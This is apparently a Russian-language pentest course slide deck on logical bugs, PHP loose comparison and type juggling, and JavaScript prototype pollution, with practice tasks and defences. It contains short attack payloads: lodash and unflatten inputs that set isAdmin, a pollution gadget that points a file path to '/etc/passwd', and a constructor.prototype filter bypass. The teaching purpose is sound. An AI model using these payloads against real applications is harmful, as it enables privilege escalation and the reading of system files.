--- title: Web App Pentest - 0x09 Logical bugs/ PHP LC&TJ / Prototype Pollution tags: CSR - Web App Pentest slideOptions: transition: 'fade' parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg' --- <style> .reveal { font-size: 36px; } </style> # Web App Pentest ## Logical bugs ## Prototype Pollution --- Вопросы по заданиям? --- ## Logical bugs Логические ошибки допущенные разработчиками могут позволить атакующему выполнить запрещенное действие, обойти проверку и т.д. --- ## PHP Loose Comparison & Type Juggling --- ## PHP LC & TJ PHP содержит два оператора сравнения: * `==` - нестрогий, допускает приведение типов * `===` - строгий, типы должны совпадать https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf --- ![](https://i.imgur.com/8nE9LtA.png) --- ## Scientific notation ```php "1e1" == 10 // True "0e32" == 0 // True "0e2323" == "0e42424" // True ``` --- ## Функции возвращающие Null Некоторые функции PHP при получении в качестве параметра неожиданного значения не падают с `Fatal Error` а выводят `Warning`, и возвращают `NULL`. Например: `hash_hmac` В PHP >8 версии многие функции начали возвращать `Fatal Error`. --- ## Пример ``` docker run -p 7777:80 cth123123/php_loosecomparison ``` --- ## Как защищаться? ВСЕГДА использовать сильные операторы сравнения `===` `!==`. in_array использовать с третьим параметром True: ```php= in_array("value", arr, TRUE) ``` --- ## Logical bugs Логические ошибки могут быть абсолютно разными. Примеры: - bWAPP Captcha; - Portswigger https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass <!-- - array_merge example [http://206.81.26.101:8102/] --> --- # Prototype Pollution --- ## Prototype Pollution Проблема характерная исключительно для javascript В javascript нету нормальных классов. Вместо них используются прототипы (prototype). --- ## Prototype <Демонстрация объекта javascript и прототипа в консоли> --- ## Prototype Способы получения доступа к прототипу: ```javascript test_obj = {data:'fefefe',name:'xxxxx'}; test_obj.__proto__ // вернет прототип Object.getPrototypeOf(test_obj) // Тоже вернет прототип ``` --- ## Prototype Прототип объекта указывает на .prototype какого либо класса ```javascript= test_obj.__proto__ == Object.prototype > true ``` --- ## Prototype Когда javascript ищет запрошенное свойство объекта `test_obj.name` он: 1. Сначала ищет `name` в самом объекте 2. Если не находит, то смотрит в прототипе `test_obj.__proto__.name` 3. Если и там нет, то в ход идет `test_obj.__proto__.__proto__.name` 4. И т.д. пока `.__proto__!=null` --- ## Prototype Прототип можно изменять через доступ к свойству __proto__ ```javascript test_obj.__proto__.toString = function () { return 'fefefe' }; console.log ('object is ' + test_obj); ``` --- ## Prototype Изменения прототипа перманентны и касаются всех объектов в текущем контексте: ```javascript test_obj.__proto__.toString = function () { return 'fefefe' }; other_obj = {}; console.log ('object is ' + other_obj); ``` --- ## Prototype Изменения прототипа перманентны и касаются всех объектов в текущем контексте: ```javascript test_obj.__proto__.toString = function () { return 'fefefe' }; other_obj = {}; console.log ('object is ' + other_obj); Object.prototype.toString() ``` --- ## Prototype Pollution Небезопасные конструкции в коде могут приводить к возможности произвольного изменения часто используемого прототипа, например `Object.prototype`, атакующим. Это позволяет нарушить логику работы приложения в других местах кода. --- ## Prototype Pollution Для возникновения уязвимости нужно: 1. Возможно собственно самого Pollution - изменения прототипа 2. Использование другим кодом какого либо параметра из прототипа --- ## Prototype Pollution #### Возможность изменения прототипа В коде должно быть что-то такое ```javascript var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; ``` --- ## Prototype Pollution #### Возможность изменения прототипа ```javascript var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a=__proto__ b=toString c=xxxx ``` --- ## Prototype Pollution #### Возможность изменения прототипа ```javascript var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a='__proto__' b='toString' c='xxxx' d['__proto__']['toString']='xxxx'; ``` --- ## Prototype Pollution #### Возможность изменения прототипа ```javascript var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a='__proto__' b='toString' c='xxxx' d['__proto__']['toString']='xxxx'; ``` Это DoS! --- ## Prototype Pollution Обычно такие проблемы возникают при использовании библиотек `unflatten` (fix https://github.com/hughsk/flat/pull/106) ```javascript const { unflatten } = require('flat'); app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object); }); ``` ```javascript unflatten({"a.b.c":333}); ``` Пример в консоли (`npm install flat@5.0.0`). ![](https://hackmd.io/_uploads/HkeVablWa.jpg) --- ## Prototype Pollution Обычно такие проблемы возникают при использовании библиотек `unflatten` ```javascript const { unflatten } = require('flat'); app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object); }); ``` ```javascript unflatten({"__proto__.isAdmin":true}); ``` --- ## Prototype Pollution Обычно такие проблемы возникают при использовании библиотек `lodash` ```javascript var _ = require('lodash'); var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'); _.merge({}, payload); console.log({}.isAdmin); // true ``` Пример в консоли (`npm install lodash@4.17.10`). --- ## Prototype Pollution 2. Использование другим кодом какого либо параметра из прототипа Обычно выглядит как то так: ```javascript function test( response,config ) { var file = config.file || '/tmp/123' response.sendFile(file) } ``` --- ## Prototype Pollution 2. Использование другим кодом какого либо параметра из прототипа Обычно выглядит как то так: ```javascript function test( response,config ) { var file = config.file || '/tmp/123' response.sendFile(file) } ``` ```javascript x.__proto__.file='/etc/passwd' config = {} var file = config.file || '/tmp/123' console.log(file) ``` --- ## Prototype Pollution ### Filter bypass Если `__proto__` блокируется, то можно использовать `constructor.prototype`. --- ## Prototype Pollution 2. Использование другим кодом какого либо параметра из прототипа Такие использования, которые что-то дают атакующему, называются "гаджетами". В ряде популярных библиотек известны гаджеты (fork, spawn)[https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/] (pug и handlebars)[https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68] --- ## Prototype Pollution Пример `Prototype Pollution - Admin`. Пример `breaking grad` в https://hackthebox.eu --- ## Prototype Pollution #### Client Side Также Prototype Pollution может приводить к XSS. Примеры: https://habr.com/ru/company/huawei/blog/547178/ Гаджеты для библиотек: https://github.com/BlackFan/client-side-prototype-pollution --- ## Prototype Pollution ### Как защищаться 1. На известные библиотеки с Prototype Pollution, заводятся CVE. Системы SCA их обнаруживают. 2. Можно попытаться заблеклистить, но это не всегда работает: - `__proto__` - `prototype` - `constructor` --- ## Задания - [Gunship HTB](https://app.hackthebox.eu/challenges/gunship) - на CTFd